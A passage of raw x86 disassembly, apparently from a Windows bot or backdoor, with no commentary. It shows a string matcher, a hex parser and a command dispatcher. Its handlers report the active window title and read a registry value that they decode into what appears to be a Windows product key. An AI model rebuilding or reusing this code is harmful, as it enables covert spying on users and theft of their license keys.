inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: .data:0041AE78o ; .data:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA68 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC30 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA48 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push 